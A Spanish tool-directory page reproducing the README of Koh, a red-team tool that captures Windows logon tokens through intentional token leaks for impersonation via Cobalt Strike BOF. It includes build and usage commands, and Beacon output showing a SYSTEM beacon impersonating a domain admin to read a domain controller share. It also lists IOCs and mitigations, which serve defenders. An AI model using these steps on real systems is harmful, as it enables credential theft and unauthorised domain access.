Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Koh — Captura tokens de sesión de inicio de sesión de Windows mediante filtración de tokens para permitir la reutilización de credenciales y la suplantación de identidad, con integración de Cobalt Strike BOF para el robo de tokens durante la post-explotación. | Kitploit
Herramientas/GitHubGitHub/ghostpack/koh
Post-ExplotaciónAutenticaciónRed Teaming
GitHubghostpack/koh

Koh

Captura tokens de sesión de inicio de sesión de Windows mediante filtración de tokens para permitir la reutilización de credenciales y la suplantación de identidad, con integración de Cobalt Strike BOF para el robo de tokens durante la post-explotación.

Ver Repositorio
522674hace 4 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Koh


Koh es un conjunto de herramientas en C# y Archivos de Objeto Beacon (BOF) que permite la captura de material de credenciales de usuario mediante una fuga intencionada de tokens/sesiones de inicio de sesión.

Parte del código se inspiró en el proyecto Internal-Monologue de Elad Shamir (sin licencia), así como en KB180548. Para saber por qué esto es posible y el enfoque de Koh, consulte la sección Antecedentes Técnicos de este README.

Para una explicación más profunda de la motivación detrás de Koh y su enfoque, consulte la publicación Koh: The Token Stealer.

@harmj0y es el autor principal de esta base de código. @tifkin_ ayudó con el enfoque, la implementación del BOF y algunos mecanismos de tokens.

Koh está licenciado bajo la licencia BSD 3-Cláusula.

Tabla de Contenido

  • Koh
    • Tabla de Contenido
    • Servidor Koh
      • Compilación
      • Uso
      • Ejemplo - Listado de Sesiones de Inicio de Sesión
      • Ejemplo - Monitoreo de Sesiones de Inicio de Sesión (con filtrado de SID de grupo)
    • Cliente Koh
      • Uso
  • Filtrado de SID de Grupo
  • Ejemplo - Captura
  • Antecedentes Técnicos
    • Por Qué Esto Es Posible
    • Enfoque
      • Enfoques Posibles
      • Nuestro Enfoque
      • Ventajas/Desventajas Frente a la Extracción Tradicional de Credenciales
        • Ventajas
        • Desventajas
  • El Error de las Travesuras En Línea
  • IOCs
  • Mitigaciones
  • TODO
  • Servidor Koh

    El "servidor" Koh captura tokens y utiliza tuberías con nombre para el control/comunicación. Esto puede encapsularse en Donut e inyectarse en cualquier proceso de alta integridad SYSTEM (ver El Error de las Travesuras En Línea).

    Compilación

    No planeamos lanzar binarios de Koh, por lo que tendrás que compilarlo tú mismo :)

    Koh se ha compilado con .NET 4.7.2 y es compatible con Visual Studio 2019 Community Edition. Simplemente abra el archivo .sln del proyecto, elija "Release" y compile. El ensamblado Koh.exe y el PIC Koh.bin construido con Donut se generarán en el directorio principal. El blob de Donut es compatible con x86/x64, y se construye con las siguientes opciones usando v0.9.3 de Donut en ./Misc/Donut.exe:``` [ Instance type : Embedded [ Entropy : Random names + Encryption [ Compressed : Xpress Huffman [ File type : .NET EXE [ Parameters : capture [ Target CPU : x86+amd64 [ AMSI/WDLP : abort

    root@kitploit:~
    La licencia de Donut es BSD 3-cláusula.
    
    ### Uso
    
       `Koh.exe Koh.exe <list | monitor | capture> [GroupSID... GroupSID2 ...]`
    
    * **list** - enumera sesiones de inicio de sesión (no de red)
    * **monitor** - monitorea sesiones de inicio de sesión nuevas/únicas (no de red)
    * **capture** - captura un token único por SID encontrado para nuevas sesiones de inicio de sesión (no de red)
    
    También se pueden proporcionar SID de grupo en la línea de comandos, lo que hace que Koh monitoree/capture solo las sesiones de inicio de sesión que contengan los SID de grupo especificados en su información de token negociada.
    
    ### Ejemplo - Listar sesiones de inicio de sesión```
    C:\Temp>Koh.exe list
    
     __  ___   ______    __    __
    |  |/  /  /  __  \  |  |  |  |
    |  '  /  |  |  |  | |  |__|  |
    |    <   |  |  |  | |   __   |
    |  .  \  |  `--'  | |  |  |  |
    |__|\__\  \______/  |__|  |__|
                         v1.0.0
    
    
      [*] Command: list
    
      [*] Elevated to SYSTEM
    
    
      [*] New Logon Session - 6/22/2022 2:51:46 PM
          UserName    : THESHIRE\testuser
          LUID        : 207990196
          LogonType   : Interactive
          AuthPackage : Kerberos
          User SID    : S-1-5-21-937929760-3187473010-80948926-1119
          Origin LUID : 1677733 (0x1999a5)
    
      [*] New Logon Session - 6/22/2022 2:51:46 PM
          UserName    : THESHIRE\DA
          LUID        : 81492692
          LogonType   : Interactive
          AuthPackage : Negotiate
          User SID    : S-1-5-21-937929760-3187473010-80948926-1145
          Origin LUID : 1677765 (0x1999c5)
    
      [*] New Logon Session - 6/22/2022 2:51:46 PM
          UserName    : THESHIRE\DA
          LUID        : 81492608
          LogonType   : Interactive
          AuthPackage : Kerberos
          User SID    : S-1-5-21-937929760-3187473010-80948926-1145
          Origin LUID : 1677765 (0x1999c5)
    
      [*] New Logon Session - 6/22/2022 2:51:46 PM
          UserName    : THESHIRE\harmj0y
          LUID        : 1677733
          LogonType   : Interactive
          AuthPackage : Kerberos
          User SID    : S-1-5-21-937929760-3187473010-80948926-1104
          Origin LUID : 999 (0x3e7)
        
    

    Ejemplo - Monitoreo de sesiones de inicio de sesión (con filtrado de SID de grupo)

    Solo lista resultados que tienen el SID del grupo de administradores de dominio (-512) en su información de token:``` C:\Temp>Koh.exe monitor S-1-5-21-937929760-3187473010-80948926-512


    | |/ / / __ \ | | | | | ' / | | | | | || | | < | | | | | __ | | . \ | `--' | | | | | ||__\ __/ || || v1.0.0

    [*] Command: monitor

    [*] Starting server with named pipe: imposecost

    [*] Elevated to SYSTEM

    [*] Targeting group SIDs: S-1-5-21-937929760-3187473010-80948926-512

    [*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\DA LUID : 81492692 LogonType : Interactive AuthPackage : Negotiate User SID : S-1-5-21-937929760-3187473010-80948926-1145 Origin LUID : 1677765 (0x1999c5)

    [*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\DA LUID : 81492608 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1145 Origin LUID : 1677765 (0x1999c5)

    [*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\harmj0y LUID : 1677733 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1104 Origin LUID : 999 (0x3e7)

    root@kitploit:~
    ## Cliente Koh
    
    El cliente utilizable actual es un Beacon Object File en `.\Clients\BOF\`. Cargue el script aggressor `.\Clients\BOF\KohClient.cna` en su cliente de Cobalt Strike para habilitar el control BOF del servidor Koh. El único requisito para usar tokens capturados es **SeImpersonatePrivilege**. La tubería con nombre de comunicación tiene un DACL "Everyone" pero utiliza una contraseña compartida básica (súper segura).
    
    Para compilar desde Linux usando Mingw, consulte el script `.\Clients\BOF\build.sh`. El único requisito (al menos en Debian) debería ser `apt-get install gcc-mingw-w64`
    
    ### Uso```
    beacon> help koh
    koh list              - lists captured tokens
    koh groups LUID       - lists the group SIDs for a captured token
    koh filter list       - lists the group SIDs used for capture filtering
    koh filter add SID    - adds a group SID for capture filtering
    koh filter remove SID - removes a group SID from capture filtering
    koh filter reset      - resets the SID group capture filter
    koh impersonate LUID  - impersonates the captured token with the give LUID
    koh release all       - releases all captured tokens
    koh release LUID      - releases the captured token for the specified LUID
    koh exit              - signals the Koh server to exit
    

    Filtrado de SID de grupo

    El comando koh filter add S-1-5-21-<DOMAIN>-<RID> solo capturará los tokens que contengan el SID de grupo proporcionado. Este comando se puede ejecutar varias veces para añadir SIDs adicionales para su captura. Esto puede ayudar a prevenir posibles problemas de estabilidad debido a una gran cantidad de fugas de tokens.

    Ejemplo - Captura

    "Captura" sesiones de inicio de sesión negociando tokens utilizables para cada nueva sesión.

    Servidor:``` C:\Temp>Koh.exe capture


    | |/ / / __ \ | | | | | ' / | | | | | || | | < | | | | | __ | | . \ | `--' | | | | | ||__\ __/ || || v1.0.0

    [*] Command: capture

    [*] Starting server with named pipe: imposecost

    [*] Elevated to SYSTEM

    [*] New Logon Session - 6/22/2022 2:53:01 PM UserName : THESHIRE\testuser LUID : 207990196 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1119 Credential UserName : [email protected] Origin LUID : 1677733 (0x1999a5)

    root@kitploit:~
      [*] Successfully negotiated a token for LUID 207990196 (hToken: 848)
    

    [*] New Logon Session - 6/22/2022 2:53:01 PM UserName : THESHIRE\DA LUID : 81492692 LogonType : Interactive AuthPackage : Negotiate User SID : S-1-5-21-937929760-3187473010-80948926-1145 Credential UserName : [email protected] Origin LUID : 1677765 (0x1999c5)

    root@kitploit:~
      [*] Successfully negotiated a token for LUID 81492692 (hToken: 976)
    

    [*] New Logon Session - 6/22/2022 2:53:01 PM UserName : THESHIRE\harmj0y LUID : 1677733 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1104 Credential UserName : [email protected] Origin LUID : 999 (0x3e7)

    root@kitploit:~
      [*] Successfully negotiated a token for LUID 1677733 (hToken: 980)
    
    root@kitploit:~
    BOF cliente:```
    beacon> shell dir \\dc.theshire.local\C$
    [*] Tasked beacon to run: dir \\dc.theshire.local\C$
    [+] host called home, sent: 69 bytes
    [+] received output:
    Access is denied.
    
    beacon> getuid
    [*] Tasked beacon to get userid
    [+] host called home, sent: 20 bytes
    [*] You are NT AUTHORITY\SYSTEM (admin)
    
    beacon> koh list
    [+] host called home, sent: 6548 bytes
    [+] received output:
    [*] Using KohPipe                    : \\.\pipe\imposecost
    
    [+] received output:
    
    Username     : THESHIRE\localadmin (S-1-5-21-937929760-3187473010-80948926-1000)
    LUID         : 67556826
    CaptureTime  : 6/21/2022 1:24:42 PM
    LogonType    : Interactive
    AuthPackage  : Negotiate
    CredUserName : [email protected]
    Origin LUID  : 1676720
    
    Username     : THESHIRE\da (S-1-5-21-937929760-3187473010-80948926-1145)
    LUID         : 67568439
    CaptureTime  : 6/21/2022 1:24:50 PM
    LogonType    : Interactive
    AuthPackage  : Negotiate
    CredUserName : [email protected]
    Origin LUID  : 1677765
    
    Username     : THESHIRE\harmj0y (S-1-5-21-937929760-3187473010-80948926-1104)
    LUID         : 1677733
    CaptureTime  : 6/21/2022 1:23:10 PM
    LogonType    : Interactive
    AuthPackage  : Kerberos
    CredUserName : [email protected]
    Origin LUID  : 999
    
    beacon> koh groups 67568439
    [+] host called home, sent: 6548 bytes
    [+] received output:
    [*] Using KohPipe                    : \\.\pipe\imposecost
    
    [+] received output:
    S-1-5-21-937929760-3187473010-80948926-513
    S-1-5-21-937929760-3187473010-80948926-512
    S-1-5-21-937929760-3187473010-80948926-525
    S-1-5-21-937929760-3187473010-80948926-572
    
    beacon> koh impersonate 67568439
    [+] host called home, sent: 6548 bytes
    [+] received output:
    [*] Using KohPipe                    : \\.\pipe\imposecost
    
    [+] received output:
    [*] Enabled SeImpersonatePrivilege
    
    [+] received output:
    [*] Creating impersonation named pipe: \\.\pipe\imposingcost
    
    [+] received output:
    [*] Impersonation succeeded. Duplicating token.
    
    [+] received output:
    [*] Impersonated token successfully duplicated.
    
    [+] Impersonated THESHIRE\da
    
    beacon> getuid
    [*] Tasked beacon to get userid
    [+] host called home, sent: 20 bytes
    [*] You are THESHIRE\DA (admin)
    
    beacon> shell dir \\dc.theshire.local\C$
    [*] Tasked beacon to run: dir \\dc.theshire.local\C$
    [+] host called home, sent: 69 bytes
    [+] received output:
     Volume in drive \\dc.theshire.local\C$ has no label.
     Volume Serial Number is A4FF-7240
    
     Directory of \\dc.theshire.local\C$
    
    01/04/2021  11:43 AM    <DIR>          inetpub
    05/30/2019  03:08 PM    <DIR>          PerfLogs
    05/18/2022  01:27 PM    <DIR>          Program Files
    04/15/2021  09:44 AM    <DIR>          Program Files (x86)
    03/20/2020  12:28 PM    <DIR>          RBFG
    10/20/2021  01:14 PM    <DIR>          Temp
    05/23/2022  06:30 PM    <DIR>          tools
    03/11/2022  04:10 PM    <DIR>          Users
    06/21/2022  01:30 PM    <DIR>          Windows
                   0 File(s)              0 bytes
                   9 Dir(s)  40,504,201,216 bytes free
    

    Antecedentes Técnicos

    Cuando se establece una nueva sesión de inicio de sesión en un sistema, LSASS crea un nuevo token para la sesión utilizando la llamada API NtCreateToken() y el llamador de LsaLogonUser() lo devuelve. Esto incrementa el campo ReferenceCount de la estructura del kernel de la sesión de inicio de sesión. Cuando este ReferenceCount llega a 0, la sesión de inicio de sesión se destruye. Debido a la información descrita en la sección Por qué esto es posible, los sistemas Windows NO liberarán una sesión de inicio de sesión si todavía existe un identificador de token para él (y por lo tanto el recuento de referencia != 0).

    Por lo tanto, si podemos obtener un identificador a una sesión de inicio de sesión recién creada a través de un token, podemos mantener esa sesión abierta y luego suplantar ese token para utilizar cualquier credencial en caché que contenga.

    Por qué esto es posible

    Según esta publicación de un ingeniero de Microsoft:``` After MS16-111, when security tokens are leaked, the logon sessions associated with those security tokens also remain on the system until all associated tokens are closed... even after the user has logged off the system. If the tokens associated with a given logon session are never released, then the system now also has a permanent logon session leak as well.

    root@kitploit:~
    [MS16-111](https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-111) se aplicó en Windows 7/Server 2008, por lo que este enfoque debería ser efectivo para todo excepto sistemas Server 2003.
    
    ## Enfoque
    
    Enumerar sesiones de inicio de sesión es fácil (desde un contexto elevado) mediante el uso de la API Win32 [LsaEnumerateLogonSessions()](https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaenumeratelogonsessions). Lo más difícil es tomar un identificador de sesión de inicio de sesión específico (LUID) y *de alguna manera* obtener un token utilizable vinculado a esa sesión.
    
    ### Posibles enfoques
    
    Pensamos en algunas formas de a) mantener abiertas las sesiones de inicio de sesión y b) abusar de esto para la suplantación de tokens/uso de credenciales en caché.
    
    1. El primer enfoque fue usar **NtCreateToken()**, que permite especificar un ID de sesión de inicio de sesión (LUID) para crear un nuevo token.
       * Desafortunadamente, necesitas **SeCreateTokenPrivilege**, que tradicionalmente solo lo tiene LSASS, lo que significa que debes robar el token de LSASS, lo cual no es ideal.
       * Una posibilidad era agregar **SeCreateTokenPrivilege** a NT AUTHORITY\SYSTEM mediante la modificación de la política LSA, pero esto requeriría un reinicio/nueva sesión de inicio de sesión para que se expresen los nuevos derechos de usuario.
    2. También puedes enfocarte solo en las sesiones de inicio de sesión RemoteInteractive usando **WTSQueryUserToken()** para obtener tokens de nuevas sesiones de escritorio para clonar.
       * Este es el enfoque aparentemente [demostrado por Ryan](https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/using-debugging-tools-to-find-token-and-session-leaks/ba-p/400472).
       * Desafortunadamente, esto omite las sesiones locales recién creadas y las sesiones entrantes creadas desde cosas como PSEXEC.
    3. En una nueva sesión de inicio de sesión, abrir un identificador a cada proceso alcanzable y enumerar todos los identificadores existentes, clonando el token vinculado a la nueva sesión de inicio de sesión.
       * Esto requiere abrir muchos procesos/identificadores, lo que parece muy sospechoso.
    4. El enfoque **AcquireCredentialsHandle()**/**InitializeSecurityContext()**/**AcceptSecurityContext()** descrito a continuación, que es el que adoptamos.
    
    ### Nuestro enfoque
    
    La llamada SSPI [AcquireCredentialsHandle()](https://docs.microsoft.com/en-us/windows/win32/secauthn/acquirecredentialshandle--negotiate) tiene un campo **pvLogonID** que indica:```
    A pointer to a locally unique identifier (LUID) that identifies the user. This parameter is provided for file-system processes such as network redirectors. 
    

    Nota: Para poder utilizar un LUID de sesión de inicio de sesión con AcquireCredentialsHandle() necesitas SeTcbPrivilege, aunque esto suele ser más fácil de obtener que SeCreateTokenPrivilege.

    El uso de esta llamada especificando un ID/LUID de sesión de inicio de sesión parece incrementar el ReferenceCount de la estructura de la sesión de inicio de sesión, impidiendo que se libere. Sin embargo, nos enfrentamos a otro problema: dada una sesión de inicio de sesión "filtrada"/retenida, ¿cómo obtenemos un token utilizable a partir de ella? WTSQueryUserToken() solo funciona con sesiones de escritorio, y no hay una API en modo usuario que hayamos encontrado que permita mapear un LUID a un token utilizable.

    Sin embargo, podemos usar dos funciones SSPI adicionales, InitializeSecurityContext() y AcceptSecurityContext() para actuar como cliente y servidor hacia nosotros mismos, negociando un nuevo contexto de seguridad que luego podemos usar con QuerySecurityContextToken() para obtener un token utilizable. Esto fue documentado en KB180548 (reflejado por PKISolutions aquí) con el propósito de validación de credenciales. Este es un enfoque similar a Internal-Monologue, excepto que completamos todo el proceso de handshake, producimos un token y luego lo retenemos para uso posterior.

    Luego se puede filtrar directamente sobre el token, mediante CheckTokenMembership() o GetTokenInformation(). Por ejemplo, podríamos liberar todos los tokens excepto los que pertenezcan a administradores de dominio, o a grupos específicos que queramos atacar.

    Ventajas/Desventajas Frente a la Extracción Tradicional de Credenciales

    Ventajas

    • Funciona tanto para inicios de sesión locales como entrantes (no de red).
    • Funciona para sesiones entrantes creadas mediante Kerberos y NTLM.
    • No requiere abrir un manejador a múltiples procesos.
    • No genera un nuevo evento de inicio de sesión ni una nueva sesión de inicio de sesión.
    • No genera registros de eventos adicionales en el DC más allá del comportamiento normal de renovación de tickets del sistema (creo que no).
    • Sin duración predeterminada en los tokens (creo que no), por lo que el acceso debería funcionar mientras las credenciales de la cuenta capturada no cambien y el sistema no se reinicie.
    • Reutiliza la autenticación capturada legítima en un sistema, por lo que debería "mezclarse con el ruido" razonablemente bien.

    Desventajas

    • El acceso solo es utilizable mientras el sistema no se reinicie.
    • No permite reutilizar el acceso en otros sistemas
      • Sin embargo, aún se puede realizar una extracción de tickets/credenciales existente sobre la sesión de inicio de sesión filtrada.
    • Puede causar inestabilidad si se filtran un gran número de sesiones (aunque esto se puede mitigar con el filtrado de SID de grupos de tokens y restringiendo el número máximo de tokens capturados (por defecto 1000 aquí).

    El Error de las "Inline Shenanigans"

    He estado programando durante bastante tiempo. Este es uno de los errores más extraños y frustrantes de rastrear que he encontrado en un tiempo - por favor, ayúdenme con esto lol.

    • Cuando el ensamblado Koh.exe se ejecuta desde un contexto elevado (pero no SYSTEM), todo funciona correctamente.

    • Si el ensamblado Koh.exe se ejecuta mediante el proceso fork&run de Cobalt Strike Beacon con execute-assembly desde un contexto elevado (pero no SYSTEM), todo funciona correctamente.

    • Si el ensamblado Koh.exe se ejecuta inline (mediante InlineExecute-Assembly o Inject-Assembly) para un Cobalt Strike Beacon que se ejecuta en un contexto SYSTEM, todo funciona correctamente.

    • Sin embargo, si el ensamblado Koh.exe se ejecuta inline (mediante InlineExecute-Assembly o Inject-Assembly) para un Cobalt Strike Beacon que se ejecuta en un contexto elevado, pero no SYSTEM, la llamada a AcquireCredentialsHandle() falla con SEC_E_NO_CREDENTIALS y todo falla ¯\_(ツ)_/¯

    Hemos intentado (sin éxito):

    • Lanzar todo a un hilo separado, especificando un apartamento de hilo STA.
    • Intentar diagnosticar rarezas de RPC (aún hay más que investigar aquí).
    • Usar DuplicateTokenEx y SetThreadToken en lugar de ImpersonateLoggedOnUser.
    • Verificar si tenemos el SeTcbPrivilege adecuado justo antes de la llamada a AcquireCredentialsHandle (lo tenemos).

    A todos los efectos, el contexto del hilo justo antes de la llamada a AcquireCredentialsHandle funciona en este contexto, pero el resultado da error. Y no tenemos idea de por qué.

    Si tienes una idea de lo que podría ser, ¡por favor, háznoslo saber! Y si quieres experimentar con un ensamblado más simple, revisa el repositorio AcquireCredentialsHandle en mi GitHub para solucionar problemas.

    IOCs

    Citando a @tifkin_ "Todo es sigiloso hasta que alguien lo busca." Aunque el enfoque de Koh es ligeramente diferente al de otros, aún existen IOCs que se pueden usar para detectarlo.

    El GUID único de TypeLib para el recolector C# de Koh es 4d5350c8-7f8c-47cf-8cde-c752018af17e como se detalla en la regla Yara Koh.yar en este repositorio. Si esto no se cambia en la compilación, debería ser un indicador de muy alta fidelidad del servidor Koh.

    Cuando el servidor Koh se inicia, abre una tubería con nombre llamada \\.\pipe\imposecost que permanece abierta mientras Koh se esté ejecutando. La contraseña predeterminada utilizada para la comunicación Koh es password, por lo que enviar password list a cualquier tubería \\.\pipe\imposecost te permitirá confirmar si Koh realmente se está ejecutando. La tubería de suplantación predeterminada utilizada es \\.pipe\imposingcost.

    Si Koh se inicia en un contexto elevado pero no como SYSTEM, se realiza un clon de manejador/token de winlogon para realizar una elevación tipo getsystem.

    Estoy seguro de que ningún atacante cambiará los indicadores mencionados anteriormente.

    Probablemente haya algunos artefactos de RPC para la captura de tokens que esperamos investigar. Actualizaremos esta sección del README si encontramos artefactos de detección adicionales en esta línea. El hooking de algunas de las APIs posiblemente poco comunes utilizadas por Koh (LsaEnumerateLogonSessions o las específicas AcquireCredentialsHandle/InitializeSecurityContext/AcceptSecurityContext, particularmente usando un LUID en AcquireCredentialsHandle) podría ser explorado para determinar su efectividad, pero, ay, no soy un EDR.

    Mitigaciones

    Después de publicar el artículo Koh: The Token Stealer, tuve un excelente intercambio entre @cnotin y @SteveSyfuhs sobre lo que terminó siendo una mitigación parcial para este enfoque.

    El parche KB2871997 introdujo una configuración TokenLeakDetectDelaySecs, que desencadena "...la limpieza de cualquier credencial de usuarios que hayan cerrado sesión...". De hecho, por defecto, los miembros del "Grupo de seguridad de usuarios protegidos" tienen este comportamiento aplicado independientemente de la configuración del registro. Sin embargo, establecer esto a un valor distinto de cero limpiará TODAS las credenciales de la memoria cuando un usuario cierre sesión. Específicamente, como menciona Steve: Si se establece, iniciará un temporizador en el evento de cierre de sesión *interactivo* de una sesión, y al activarse purgará cualquier cosa que aún esté vinculada a ella. Desactivado por defecto. Usuarios protegidos siempre activado, con un valor predeterminado de 30s.

    Hay dos cosas importantes a tener en cuenta en el párrafo anterior: "evento de cierre de sesión" e "interactivo". Esto puede resultar en algunas situaciones en las que la credencial de un usuario NO se limpia:

    • Si una credencial está presente mediante un spawn de tipo runas o runas /netonly o algo similar, no hay evento de cierre de sesión cuando el proceso se detiene y la credencial/token aún puede ser capturada.
    • Si la credencial está presente mediante una sesión RDP donde el usuario simplemente se desconecta en lugar de cerrar sesión, no hay evento de cierre de sesión cuando el proceso se detiene y la credencial/token aún puede ser capturada.

    (Necesito probar otras situaciones de inicio de sesión como NetworkClearText.)

    Sin embargo, si el usuario está en el "Grupo de seguridad de usuarios protegidos" o TokenLeakDetectDelaySecs es distinto de cero, y el usuario cierra sesión activamente de una sesión interactiva o remota interactiva (RDP), las credenciales se limpiarán. Necesito programar Koh para manejar mejor este tipo de situaciones específicas.

    TL;DR realmente deberías usar el "Grupo de seguridad de usuarios protegidos" para usuarios sensibles, y considerar si establecer TokenLeakDetectDelaySecs a un valor como 30 es factible en tu entorno.

    TODO

    • Pruebas adicionales en laboratorio y en campo. Posibles preocupaciones:
      • Estabilidad en entornos de producción, específicamente la fuga intencional de tokens que cause problemas en servidores con mucho tráfico.
      • Vida útil efectiva total real del token.
    • Cliente "remoto" que permita la monitorización a través de la tubería con nombre de Koh de forma remota.
    • Implementar más clientes (PowerShell, C#, C++, etc.)
    • Corregir el Error de las "Inline Shenanigans"
    • Manejar mejor las situaciones de "Usuarios protegidos"/TokenLeakDetectDelaySecs
    Descargar herramienta